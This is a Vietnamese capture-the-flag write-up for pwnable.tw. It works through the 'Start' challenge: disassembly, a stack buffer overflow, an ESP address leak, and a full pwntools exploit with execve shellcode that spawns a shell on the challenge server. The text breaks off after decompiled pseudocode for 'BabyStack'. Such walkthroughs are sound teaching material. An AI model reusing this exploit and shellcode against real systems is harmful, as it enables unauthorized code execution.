Table of Content #

0x00 Lời chào #

Khoảng một tháng trở lại đây, tôi chuyên tâm hơn vào việc chơi pwn. Một phần là vì mảng pwn khó, phần còn lại là tôi nghĩ nó có thể giúp tôi kiếm được tiền :)) Vì là một người mới, những kiến thức mà tôi viết ở đây có thể chưa chính xác hoàn toàn. Rất mong các bạn đọc góp ý để tôi phát triển hơn nữa.

Pwnable.tw là một trang luyện tập mảng pwn khá nổi tiếng của Đài Loan. Theo tôi cảm nhận, thử thách ở đây khá khó cho người mới. Nếu các bạn không làm được thì cũng đừng lấy gì làm lạ. Tôi đã mất khoảng hơn 1 tuần để nghiền ngẫm challenge đầu tiên.

0x01 Start #

I. Tổng quan #

Đề bài cho chúng ta duy nhất một file là start. Việc đầu tiên tôi thường làm sẽ là kiểm tra xem file là 32 hay 64 bits. Để kiểm tra, tôi thường dùng file.

$ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

Thông tin cho chúng ta biết được đây là một file 32 bits. Load chương trình vào IDAPRO x32, quan sát các hàm ở mục Functions, nhận thấy rằng chương trình chỉ xoay quanh hàm _start.

Tiếp đến, tôi sẽ sử dụng checksec để kiểm tra các lớp bảo vệ của file. Tôi đoán sẽ có nhiều bạn không hiểu dùng checksec để làm gì. Ngày trước tôi cũng như vậy, nhưng sau một khoảng thời gian ngắn, tôi được tiếp cận thêm về lỗ bổng BOF - Buffer Overflow, tôi mới thấy nó vô cũng hữu hiệu.

$ checksec --file="start"
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   8) Symbols        No    0               0               start

Đối với bài toán này, để đơn giản, các bạn chỉ cần quan tâm tới thông số NX: Disabled. Nghĩa là các bạn có thể chèn mã thực thi lên stack. Nếu NX: Enabled, cho dù mã thực thi được chèn lên stack thì nó vẫn sẽ không hoạt động.

II. Phân tích #

push    esp
push    offset _exit
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx
xor     edx, edx
push    3A465443h
push    20656874h
push    20747261h
push    74732073h
push    2774654Ch
mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
xor     ebx, ebx
mov     dl, 3Ch ; '<'
mov     al, 3
int     80h             ; LINUX -
add     esp, 14h
retn

Mã assembly của hàm _start rất dễ đọc, chúng ta sẽ đi phân tích nội dung từng đoạn code.

Việc đầu tiên là đẩy thanh ghi ESP và offset của hàm _exit vào trong stack. Sau đó, gán giá trị của 4 thanh ghi EAX, EBX, ECX, EDX = 0. Tiếp theo là đẩy các giá trị 3A465443h, 20656874h, 20747261h, 74732073h, 2774654Ch vào trong stack.

Câu hỏi đặt ra ở đây là 5 con số trên là gì vậy? Rất đơn giản, nó chính là:

  • 3A465443h = “:FTC”
  • 20656874h = “ eht”
  • 20747261h = “ tra”
  • 74732073h = “ts s”
  • 2774654Ch = “‘teL”

Chúng đại diện cho chuỗi “Let’s start the CTF:

Đoạn mã tiếp theo, chương trình gọi ra 2 system call là sys_write và sys_read

mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write

Thông tin của sys_write:

  • Xuất ra màn hình chuỗi từ địa chỉ ESP hiện tại
  • Số byte: 0x14 bytes
  • File descriptor: stdout
xor     ebx, ebx
mov     dl, 3Ch ; '<'
mov     al, 3
int     80h             ; LINUX - sys_read

Thông tin của sys_read

  • Đọc một chuỗi từ bộ nhập chuẩn
  • Số byte: 0x3C

Đoạn mã cuối cùng tăng giá trị thanh ghi ESP lên 0x14 đơn vị. retn gọi địa chỉ thanh ghi ESP đang giữ rồi cộng ESP lên 4 đơn vị.

add     esp, 14h
retn

III. Lỗ hổng #

Chúng ta cùng nhìn qua cấu trúc của stack trước khi gọi 2 system call.

Alt text

Giá trị của thanh ghi ESP ở:

  • Hiện tại: 0xFFFFD124
  • Ban đầu: 0xFFFFD140

Chú ý rằng, thường các challenge sẽ bật Address Space Layout Randomization nên giá trị thanh ghi ESP ban đầu luôn có giá trị ngẫu nhiên. (Đây là lý do vì sao mình không lấy ESP = 0xFFFFD140 để khai thác lỗ hổng)

Như ta đã phân tích ở trên, sys_read cho phép đọc 60 bytes vào stack. Nếu chúng đã nhập vào 20 bytes, thì từ địa chỉ 0xFFFFD124 đến 0xFFFFD134 sẽ được fill đủ.
Giả sử chúng ta tiếp tục nhập vào, các giá trị tại các địa chỉ trên nó sẽ bị thay đổi. Dẫn tới lỗ hổng BOF.

IV. Hướng tấn công #

Công việc chúng ta cần thực hiện:

  1. Lấy được địa chỉ thanh ghi ESP ban đầu.
  2. Từ việc có được giá trị thanh ghi ESP ban đầu, chúng ta sẽ đưa địa chỉ trả về của hàm là địa chỉ của shellcode.

Công việc 1 #

Alt text

Để lấy giá trị của thanh ghi ESP ban đầu rất đơn giản. Chúng ta nhập đủ 20 bytes để lấp đầy địa chỉ từ 0xFFFFD124 đến 0xFFFFD134, tiếp tục ghi thêm 4 bytes 0x08048087 để chương trình có thể gọi system call read và write lần thứ 2.

Bây giờ, giá trị của thanh ghi ESP sẽ là: 0xFFFFD124 + 0x14 + 0x4 = 0xFFFFD13C. Chú ý, đây cũng là nơi chứa giá trị thanh ghi ESP ban đầu.

Lợi dụng việc gọi sys_write lần thứ 2. Chỉ cần in ra 4 bytes đầu tiên, chúng ta sẽ lấy được địa chỉ ESP ban đầu.

payload1 = b'x' * 0x14 + p32(0x08048087)
r.sendafter(b':', payload1) 
esp_leaked = u32(r.recv()[:4])

Công việc 2 #

Sau khi đã có địa chỉ ESP ban đầu. Việc của chúng ta là phải tính toán xem phải input bao nhiêu ký tự để chương trình có thể thực thi được shellcode.

Gọi địa chỉ ESP ban đầu là ESP = X, giá trị hiện tại ESP = X - 4

Alt text

Sau khi sys_read được gọi, ESP + 0x14, nghĩa là ESP đứng ở X + 16. Ở X + 16, chúng ta chỉ cần gán cho nó giá trị là X + 20, nơi shellcode được viết. Hàm trả về sẽ là địa chỉ shellcode được bắt đầu.

payload2 = b'x' * 0x14 + p32(leaked_esp + 0x14) + shellcode

V. Mã khai thác #

from pwn import *

r = remote("chall.pwnable.tw", 10000)

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" 

payload1 = b'x' * 0x14 + p32(0x08048087)
r.sendafter(b':', payload1) 
esp_leaked = u32(r.recv()[:4])
payload2 = b'x' * 0x14 + p32(esp_leaked + 0x14) + shellcode
r.send(payload2)

r.interactive()

VI. Tham khảo #

  1. Pwnable.tw - Start @y198
  2. Pwnable.tw - Start @c01dkit

0x02 BabyStack #

Sau khi decompile và rename các biến, chúng ta thu được mã giả như sau

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    _QWORD *v3; // rcx
    __int64 v4; // rdx
    char buf[64]; // [rsp+0h] [rbp-60h] BYREF
    __int64 random_password[2]; // [rsp+40h] [rbp-20h] BYREF
    char option[16]; // [rsp+50h] [rbp-10h] BYREF

    mmap_canary();
    random_fd = open("/dev/urandom", 0);
    read(random_fd, random_password, 0x10uLL);
    v3 = canary;
    v4 = random_password[1];
    *(_QWORD *)canary = random_password[0];
    v3[1] = v4;
    close(random_fd);
    while ( 1 )
    {
        write(1, ">> ", 3uLL);
        read_(0LL, option, 0x10LL, 0x10LL);
        if ( option[0] == '2' )                 // exit()
        {
            break;
        }

        if ( option[0] == '3' )
        {
            if ( status_login )
            {
                copy_input(buf);
            }
            else
            {
LABEL_x1040:
                puts("Invalid choice");
            }
        }
        else
        {
            if ( option[0] != '1' )
            {
                goto LABEL_x1040;
            }

            if ( status_login )
            {
                status_login = 0;
            }
            else
            {
                login((const char *)random_password);
            }
        }
    }

    if ( !status_login )
    {
        exit(0);
    }

    memcmp(random_password, canary, 0x10uLL);
    return 0LL;
}